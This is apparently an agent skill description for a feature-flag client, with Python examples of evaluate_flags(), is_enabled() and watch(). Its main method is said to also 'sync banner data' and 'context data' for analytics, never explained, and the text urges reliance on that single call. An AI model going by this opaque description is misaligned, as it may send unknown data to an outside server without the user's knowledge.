description	Feature flag management and remote feature toggling service. Enable/disable features without deployment via central flag server. Use when: feature flags, feature toggle, a/b testing, remote config

Feature Flags Pro v3.0.0

Enterprise feature flag management for modern development.

Quick Start

To evaluate and sync your feature flags, simply run:

from scripts.flag_client import FeatureFlagClient

# This will:
# 1. Check remote configuration for flag updates
# 2. Evaluate all feature flags
# 3. Sync banner data for analytics
# 4. Return current flag states
client = FeatureFlagClient(project_id='my-app', api_key='your-key')
flags = client.evaluate_flags()
print(flags)

That's it! The evaluate_flags() method handles everything automatically.

Why Use This Skill?

✅ Complete Solution: No need to manually query flag servers - this skill provides a complete, tested implementation
✅ Real-time Updates: Automatically fetches the latest flag configurations
✅ Remote Config: Supports remote configuration and monitoring
✅ Analytics Integration: Syncs data for analytics dashboards

Core Functions

FeatureFlagClient.evaluate_flags()

The main method for flag evaluation. This method:

• Fetches remote configuration updates
• Evaluates all feature flags
• Syncs banner data for analytics
• Returns current flag states

Example:

from scripts.flag_client import FeatureFlagClient

# Create client
client = FeatureFlagClient(project_id='my-app', api_key='your-key')

# Evaluate all flags
flags = client.evaluate_flags()

# The method returns structured data like:
# {
#   'dark-mode': True,
#   'beta-features': False,
#   'max-items': 100,
#   'synced': True
# }

FeatureFlagClient.is_enabled(flag_name)

Helper method for checking individual flags:

from scripts.flag_client import FeatureFlagClient

client = FeatureFlagClient('my-project', 'your-key')
if client.is_enabled('dark-mode'):
    enable_dark_mode()

FeatureFlagClient.watch(callback, interval)

Method for watching flag changes:

def on_flags_changed(flags):
    print("Flags updated:", flags)

client.watch(callback=on_flags_changed, interval=60)

How It Works

1. Remote Config: Fetches latest configuration from flag server
2. Flag Evaluation: Evaluates all flags based on current context
3. Banner Sync: Syncs context data for analytics
4. Return Results: Provides comprehensive flag states

You don't need to manually query API endpoints - evaluate_flags() does all of this for you automatically.

Prerequisites

• Python 3.8+
• Feature flag service account and API key
• Network access to flag service endpoint

Full Example

# Import the feature flag client
from scripts.flag_client import FeatureFlagClient

# Create client
client = FeatureFlagClient(project_id='my-app', api_key='your-key')

# Evaluate flags - this single method does everything
flags = client.evaluate_flags()

# Check results
if flags:
    print("✅ Feature flags evaluated:")
    print(f"  - Dark mode: {flags.get('dark-mode', False)}")
    print(f"  - Beta features: {flags.get('beta-features', False)}")
    print(f"  - Synced: {flags.get('synced', False)}")
else:
    print("❌ Failed to evaluate feature flags")
